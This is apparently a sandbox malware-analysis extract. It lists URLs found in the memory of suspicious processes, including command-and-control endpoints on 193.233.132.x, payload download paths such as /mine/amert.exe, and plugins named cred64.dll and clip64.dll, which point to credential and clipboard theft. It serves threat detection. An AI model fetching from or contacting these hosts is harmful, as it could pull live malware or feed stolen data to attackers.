Source: chrosha.exe, 00000010.00000002.2907399446.000000000102E000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000016.00000002.2668917227.000001DDF136D000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 0000001A.00000002.2899487024.000000000061A000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 0000001A.00000002.2899487024.000000000065F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.233.132.167/enigma/index.php
Source: chrosha.exe, 00000010.00000002.2907399446.000000000105D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.233.132.167/enigma/index.php)
Source: chrosha.exe, 00000010.00000002.2907399446.000000000105D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.233.132.167/enigma/index.php/
Source: chrosha.exe, 00000010.00000002.2907399446.000000000105D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.233.132.167/enigma/index.php0
Source: chrosha.exe, 00000010.00000002.2907399446.000000000105D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.233.132.167/enigma/index.php342a2
Source: rundll32.exe, 0000001A.00000002.2899487024.000000000061A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.233.132.167/enigma/index.php6)
Source: chrosha.exe, 00000010.00000002.2907399446.000000000105D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.233.132.167/enigma/index.php;
Source: chrosha.exe, 00000010.00000002.2907399446.000000000105D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.233.132.167/enigma/index.phpB
Source: chrosha.exe, 00000010.00000002.2907399446.0000000000FCE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.233.132.167/enigma/index.phpG
Source: chrosha.exe, 00000010.00000002.2907399446.000000000105D000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 0000001A.00000002.2899487024.000000000065F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.233.132.167/enigma/index.phpP
Source: chrosha.exe, 00000010.00000002.2907399446.000000000102E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.233.132.167/enigma/index.phpY
Source: chrosha.exe, 00000010.00000002.2907399446.000000000105D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.233.132.167/enigma/index.phperWgfTOmIUKDbvTuTS4b2SL=ex.php
Source: chrosha.exe, 00000010.00000002.2907399446.000000000105D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.233.132.167/enigma/index.phpp
Source: chrosha.exe, 00000010.00000002.2907399446.000000000105D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.233.132.167/enigma/index.phpq
Source: chrosha.exe, 00000010.00000002.2907399446.000000000105D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.233.132.167/enigma/index.phpv
Source: explorha.exe, 00000006.00000002.2899294419.00000000006E2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.233.132.167/mine/amert.exeF
Source: explorha.exe, 00000006.00000002.2899294419.00000000006E2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.233.132.167/mine/amert.exeI
Source: explorha.exe, 00000006.00000003.2451665041.000000000073E000.00000004.00000020.00020000.00000000.sdmp, explorha.exe, 00000006.00000002.2899294419.0000000000740000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.233.132.167/mine/random.exe
Source: explorha.exe, 00000006.00000003.2451665041.000000000073E000.00000004.00000020.00020000.00000000.sdmp, explorha.exe, 00000006.00000002.2899294419.0000000000740000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.233.132.167/mine/random.exe5
Source: chrosha.exe, 00000010.00000002.2907399446.000000000105D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.233.132.167/xeJ
Source: explorha.exe, 00000006.00000002.2899294419.00000000006E2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.233.132.56/
Source: rundll32.exe, 00000008.00000002.2528087057.0000022BD9090000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.233.132.56/&
Source: explorha.exe, 00000006.00000002.2899294419.00000000006E2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.233.132.56/015f815db2cd0aea5fb37b3eefba1586aa0e
Source: explorha.exe, 00000006.00000002.2899294419.00000000006E2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.233.132.56/015f815db2cd0aea5fb37b3eefba1586aa0e17e76#da#
Source: explorha.exe, 00000006.00000002.2899294419.00000000006E2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.233.132.56/015f815db2cd0aea5fb37b3eefba1586aa550018
Source: explorha.exe, 00000006.00000002.2899294419.00000000006E2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.233.132.56/33.132.56/015f815db2cd0aea5fb37b3eefba1586aa001
Source: explorha.exe, 00000006.00000002.2899294419.00000000006E2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.233.132.56/33.132.56/015f815db2cd0aea5fb37b3eefba1586aa0e17e76n
Source: explorha.exe, 00000006.00000002.2899294419.00000000006E2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.233.132.56/4e40adc2dc8e2a9e730e8b2e8b2446fe1e928766ada
Source: explorha.exe, 00000006.00000002.2899294419.000000000071B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.233.132.56/Pneh2sXQk0/Plugins/clip64.dll
Source: explorha.exe, 00000006.00000002.2899294419.00000000006E2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.233.132.56/Pneh2sXQk0/Plugins/cred64.dll
Source: rundll32.exe, 00000008.00000002.2527620455.0000022BD71EF000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 0000000B.00000002.2900366826.000000000063A000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 0000000B.00000002.2900366826.0000000000699000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.233.132.56/Pneh2sXQk0/index.php
Source: explorha.exe, 00000006.00000002.2899294419.0000000000700000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.233.132.56/Pneh2sXQk0/index.php01
Source: explorha.exe, 00000006.00000002.2899294419.0000000000700000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.233.132.56/Pneh2sXQk0/index.php51a4f
Source: explorha.exe, 00000006.00000002.2899294419.0000000000700000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.233.132.56/Pneh2sXQk0/index.php56001
Source: explorha.exe, 00000006.00000002.2899294419.0000000000740000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.233.132.56/Pneh2sXQk0/index.php8
Source: rundll32.exe, 0000000B.00000002.2900366826.000000000063A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.233.132.56/Pneh2sXQk0/index.php?
Source: rundll32.exe, 00000008.00000002.2527620455.0000022BD71EF000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000008.00000002.2527620455.0000022BD7214000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000008.00000002.2528087057.0000022BD9090000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.233.132.56/Pneh2sXQk0/index.php?wal=1
Source: rundll32.exe, 00000008.00000002.2528087057.0000022BD9090000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.233.132.56/Pneh2sXQk0/index.php?wal=1b
Source: rundll32.exe, 00000008.00000002.2528087057.0000022BD9090000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.233.132.56/Pneh2sXQk0/index.php?wal=1es
Source: explorha.exe, 00000006.00000002.2899294419.0000000000700000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.233.132.56/Pneh2sXQk0/index.phpUsers
Source: explorha.exe, 00000006.00000002.2899294419.00000000006E2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.233.132.56/Pneh2sXQk0/index.phpded
Source: explorha.exe, 00000006.00000002.2899294419.0000000000740000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.233.132.56/Pneh2sXQk0/index.phph
Source: explorha.exe, 00000006.00000002.2899294419.0000000000740000.00000004.00000020.00020000.00000000.sdmp, explorha.exe, 00000006.00000002.2899294419.00000000006E2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.233.132.56/Pneh2sXQk0/index.phpoded
Source: explorha.exe, 00000006.00000002.2899294419.0000000000740000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.233.132.56/Pneh2sXQk0/index.phpru
Source: explorha.exe, 00000006.00000002.2899294419.0000000000700000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.233.132.56/Pneh2sXQk0/index.phpv
Source: explorha.exe, 00000006.00000002.2899294419.00000000006E2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.233.132.56/Pneh2sXQk0/index.phpx
Source: explorha.exe, 00000006.00000002.2899294419.00000000006E2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.233.132.56/a
Source: explorha.exe, 00000006.00000002.2899294419.00000000006E2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.233.132.56/e19fbffc5144f69e5e67ee8015f815db2cd0aea5fb37b3eefba1586aa0e171
Source: explorha.exe, 00000006.00000002.2899294419.00000000006E2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.233.132.56/e19fbffc5144f69e5e67ee8015f815db2cd0aea5fb37b3eefba1586aa0e17e001
Source: explorha.exe, 00000006.00000002.2899294419.00000000006E2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.233.132.56/e19fbffc5144f69e5e67ee8015f815db2cd0aea5fb37b3eefba1586aa0e17e76#
Source: explorha.exe, 00000006.00000002.2899294419.00000000006E2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.233.132.56/f49fa1f45b59ea9f5e7af18214e40adc2dc8e2a9e730e8b2e8b2446fe1e928766ada#
Source: svchost.exe, 00000012.00000002.2922554035.0000019ECF261000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: svchost.exe, 00000012.00000003.2427444325.0000019ECF418000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: svchost.exe, 00000012.00000003.2427444325.0000019ECF418000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome/acosgr5ufcefr7w7nv4v6k4ebdda_117.0.5938.132/117.0.5
Source: svchost.exe, 00000012.00000003.2427444325.0000019ECF418000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: svchost.exe, 00000012.00000003.2427444325.0000019ECF418000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: svchost.exe, 00000012.00000003.2427444325.0000019ECF418000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: svchost.exe, 00000012.00000003.2427444325.0000019ECF418000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: svchost.exe, 00000012.00000003.2427444325.0000019ECF44D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: svchost.exe, 00000012.00000003.2427444325.0000019ECF491000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: powershell.exe, 0000000D.00000002.2413543741.0000017E248B4000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.2449781101.0000017E32F5E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001D.00000002.2625392452.000001CA65298000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001D.00000002.2553378843.000001CA56AF9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://nuget.org/NuGet.exe
Source: powershell.exe, 0000001D.00000002.2553378843.000001CA55447000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001D.00000002.2553378843.000001CA56AA3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: powershell.exe, 0000000D.00000002.2413543741.0000017E23118000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001D.00000002.2553378843.000001CA55447000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: powershell.exe, 0000000D.00000002.2413543741.0000017E22EF1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001D.00000002.2553378843.000001CA55221000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: powershell.exe, 0000000D.00000002.2413543741.0000017E23118000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001D.00000002.2553378843.000001CA55447000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/wsdl/
Source: powershell.exe, 0000001D.00000002.2553378843.000001CA55447000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001D.00000002.2553378843.000001CA56AA3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: powershell.exe, 0000001D.00000002.2646021051.000001CA6D510000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.microsoft.?
Source: 590971cd60.exe, 00000014.00000003.2487222595.00000000053D0000.00000004.00001000.00020000.00000000.sdmp, 590971cd60.exe, 00000014.00000002.2886812747.0000000000B81000.00000040.00000001.01000000.00000014.sdmp, MPGPH131.exe, 00000026.00000003.2553507559.0000000004FF0000.00000004.00001000.00020000.00000000.sdmp, MPGPH131.exe, 00000026.00000002.2747704687.0000000000631000.00000040.00000001.01000000.00000017.sdmp	String found in binary or memory: http://www.winimage.com/zLibDll
Source: 590971cd60.exe, 00000014.00000002.2886812747.0000000000B81000.00000040.00000001.01000000.00000014.sdmp	String found in binary or memory: http://www.winimage.com/zLibDllDp
Source: 590971cd60.exe, 00000014.00000003.2487222595.00000000053D0000.00000004.00001000.00020000.00000000.sdmp, MPGPH131.exe, 00000026.00000003.2553507559.0000000004FF0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.winimage.com/zLibDllDpRTpR
Source: MPGPH131.exe, 00000026.00000002.2747704687.0000000000631000.00000040.00000001.01000000.00000017.sdmp	String found in binary or memory: http://www.winimage.com/zLibDllDpuTpu
Source: 590971cd60.exe, 00000014.00000003.2583234242.0000000007F98000.00000004.00000020.00020000.00000000.sdmp, 590971cd60.exe, 00000014.00000003.2581877745.0000000007F70000.00000004.00000020.00020000.00000000.sdmp, 590971cd60.exe, 00000014.00000003.2589683699.0000000007FAB000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 00000026.00000003.2722054145.0000000007DA8000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 00000026.00000003.2738126612.0000000007DB7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: MPGPH131.exe, 00000026.00000003.2735982624.0000000007CF3000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 00000026.00000003.2736489776.0000000007D02000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://accounts.goo
Source: MPGPH131.exe, 00000026.00000003.2735982624.0000000007CF3000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 00000026.00000003.2736140221.0000000007D04000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com
Source: MPGPH131.exe, 00000026.00000003.2738990555.0000000007D02000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 00000026.00000003.2736983747.0000000007D00000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 00000026.00000002.2754944956.0000000007CF2000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 00000026.00000003.2735982624.0000000007CF3000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 00000026.00000003.2737261196.0000000007D02000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 00000026.00000003.2738854917.0000000007D00000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 00000026.00000003.2738400789.0000000007CF3000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 00000026.00000003.2736140221.0000000007D04000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/InteractiveLogin?continue=https://www.youtube.com/signin?action_h
Source: MPGPH131.exe, 00000026.00000003.2738559574.0000000007D9C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/InteractiveLogin?continue=https://www.youtube.com/signin?action_handle_s
Source: MPGPH131.exe, 00000026.00000003.2738990555.0000000007D02000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 00000026.00000003.2736983747.0000000007D00000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 00000026.00000002.2754944956.0000000007CF2000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 00000026.00000003.2735982624.0000000007CF3000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 00000026.00000003.2737261196.0000000007D02000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 00000026.00000003.2738854917.0000000007D00000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 00000026.00000003.2738400789.0000000007CF3000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 00000026.00000003.2736140221.0000000007D04000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/ServiceLogin?service=youtube&uilel=3&passive=true&continue=https
Source: MPGPH131.exe, 00000026.00000003.2736140221.0000000007D04000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/ServiceLogin?service=youtube&uilel=3&passive=true&continue=https%3A%2F%2
Source: MPGPH131.exe, 00000026.00000003.2738990555.0000000007D02000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 00000026.00000003.2736983747.0000000007D00000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 00000026.00000002.2754944956.0000000007CF2000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 00000026.00000003.2735982624.0000000007CF3000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 00000026.00000003.2737261196.0000000007D02000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 00000026.00000003.2738854917.0000000007D00000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 00000026.00000003.2738400789.0000000007CF3000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 00000026.00000003.2736140221.0000000007D04000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/v3/signin/identifier?continue=https%3A%2F%2Fwww.youtube.com%2Fsig
Source: MPGPH131.exe, 00000026.00000003.2738559574.0000000007D9C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/v3/signin/identifier?continue=https%3A%2F%2Fwww.youtube.com%2Fsignin%3Fa
Source: powershell.exe, 0000000D.00000002.2413543741.0000017E22EF1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001D.00000002.2553378843.000001CA55221000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore68
Source: powershell.exe, 0000001D.00000002.2553378843.000001CA56173000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001D.00000002.2553378843.000001CA56849000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/winsvr-2022-pshelp
Source: powershell.exe, 0000000D.00000002.2413543741.0000017E2451E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001D.00000002.2553378843.000001CA56849000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/winsvr-2022-pshelpX
Source: 590971cd60.exe, 00000014.00000003.2583234242.0000000007F98000.00000004.00000020.00020000.00000000.sdmp, 590971cd60.exe, 00000014.00000003.2581877745.0000000007F70000.00000004.00000020.00020000.00000000.sdmp, 590971cd60.exe, 00000014.00000003.2589683699.0000000007FAB000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 00000026.00000003.2722054145.0000000007DA8000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 00000026.00000003.2738126612.0000000007DB7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: 590971cd60.exe, 00000014.00000003.2583234242.0000000007F98000.00000004.00000020.00020000.00000000.sdmp, 590971cd60.exe, 00000014.00000003.2581877745.0000000007F70000.00000004.00000020.00020000.00000000.sdmp, 590971cd60.exe, 00000014.00000003.2589683699.0000000007FAB000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 00000026.00000003.2722054145.0000000007DA8000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 00000026.00000003.2738126612.0000000007DB7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: 590971cd60.exe, 00000014.00000003.2583234242.0000000007F98000.00000004.00000020.00020000.00000000.sdmp, 590971cd60.exe, 00000014.00000003.2581877745.0000000007F70000.00000004.00000020.00020000.00000000.sdmp, 590971cd60.exe, 00000014.00000003.2589683699.0000000007FAB000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 00000026.00000003.2722054145.0000000007DA8000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 00000026.00000003.2738126612.0000000007DB7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: powershell.exe, 0000001D.00000002.2553378843.000001CA56AF9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/
Source: powershell.exe, 0000001D.00000002.2553378843.000001CA56AF9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 0000001D.00000002.2553378843.000001CA56AF9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/License
Source: 590971cd60.exe, 00000014.00000002.2888771295.00000000018AE000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 00000026.00000002.2749346705.0000000001409000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://db-ip.com/
Source: 590971cd60.exe, 00000014.00000002.2888771295.00000000018AE000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 00000026.00000002.2749346705.0000000001461000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 00000026.00000002.2749346705.0000000001409000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://db-ip.com/demo/home.php?s=81.181.57.52
Source: 590971cd60.exe, 00000014.00000002.2888771295.00000000018AE000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 00000026.00000002.2749346705.0000000001409000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://db-ip.com:443/demo/home.php?s=81.181.57.52
Source: 590971cd60.exe, 00000014.00000003.2583234242.0000000007F98000.00000004.00000020.00020000.00000000.sdmp, 590971cd60.exe, 00000014.00000003.2581877745.0000000007F70000.00000004.00000020.00020000.00000000.sdmp, 590971cd60.exe, 00000014.00000003.2589683699.0000000007FAB000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 00000026.00000003.2722054145.0000000007DA8000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 00000026.00000003.2738126612.0000000007DB7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: 590971cd60.exe, 00000014.00000003.2583234242.0000000007F98000.00000004.00000020.00020000.00000000.sdmp, 590971cd60.exe, 00000014.00000003.2581877745.0000000007F70000.00000004.00000020.00020000.00000000.sdmp, 590971cd60.exe, 00000014.00000003.2589683699.0000000007FAB000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 00000026.00000003.2722054145.0000000007DA8000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 00000026.00000003.2738126612.0000000007DB7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: 590971cd60.exe, 00000014.00000003.2583234242.0000000007F98000.00000004.00000020.00020000.00000000.sdmp, 590971cd60.exe, 00000014.00000003.2581877745.0000000007F70000.00000004.00000020.00020000.00000000.sdmp, 590971cd60.exe, 00000014.00000003.2589683699.0000000007FAB000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 00000026.00000003.2722054145.0000000007DA8000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 00000026.00000003.2738126612.0000000007DB7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: svchost.exe, 00000012.00000003.2427444325.0000019ECF4C2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://g.live.com/1rewlive5skydrive/OneDriveProductionV2?OneDriveUpdate=9c123752e31a927b78dc96231b6
Source: svchost.exe, 00000012.00000003.2427444325.0000019ECF51A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://g.live.com/odclientsettings/Prod.C:
Source: svchost.exe, 00000012.00000003.2427444325.0000019ECF4C2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2
Source: svchost.exe, 00000012.00000003.2427444325.0000019ECF4A3000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 00000012.00000003.2427444325.0000019ECF4E8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2.C:
Source: svchost.exe, 00000012.00000003.2427444325.0000019ECF4C2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2?OneDriveUpdate=f359a5df14f97b6802371976c96
Source: powershell.exe, 0000001D.00000002.2553378843.000001CA55447000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001D.00000002.2553378843.000001CA56AA3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Pester/Pester
Source: powershell.exe, 0000000D.00000002.2501270876.0000017E3B66C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://go.microsoft.
Source: powershell.exe, 0000001D.00000002.2644719324.000001CA6D3B5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://go.microsoft.c
Source: MPGPH131.exe, 00000026.00000002.2749346705.0000000001409000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ipinfo.io/
Source: 590971cd60.exe, 00000014.00000002.2888771295.00000000018AE000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 00000026.00000002.2749346705.0000000001409000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ipinfo.io/Mozilla/5.0
Source: 590971cd60.exe, 00000014.00000002.2888771295.000000000180E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ipinfo.io/R-
Source: 590971cd60.exe, 00000014.00000003.2487222595.00000000053D0000.00000004.00001000.00020000.00000000.sdmp, 590971cd60.exe, 00000014.00000002.2886812747.0000000000B81000.00000040.00000001.01000000.00000014.sdmp, MPGPH131.exe, 00000026.00000003.2553507559.0000000004FF0000.00000004.00001000.00020000.00000000.sdmp, MPGPH131.exe, 00000026.00000002.2747704687.0000000000631000.00000040.00000001.01000000.00000017.sdmp	String found in binary or memory: https://ipinfo.io/https://www.maxmind.com/en/locate-my-ip-addressWs2_32.dll
Source: MPGPH131.exe, 00000026.00000002.2749346705.00000000013EF000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 00000026.00000002.2749346705.0000000001409000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ipinfo.io/widget/demo/81.181.57.52
Source: 590971cd60.exe, 00000014.00000002.2888771295.000000000188C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ipinfo.io/widget/demo/81.181.57.52u
Source: 590971cd60.exe, 00000014.00000002.2888771295.00000000018A8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ipinfo.io:443/widget/demo/81.181.57.52
Source: MPGPH131.exe, 00000026.00000002.2749346705.0000000001409000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ipinfo.io:443/widget/demo/81.181.57.52lM
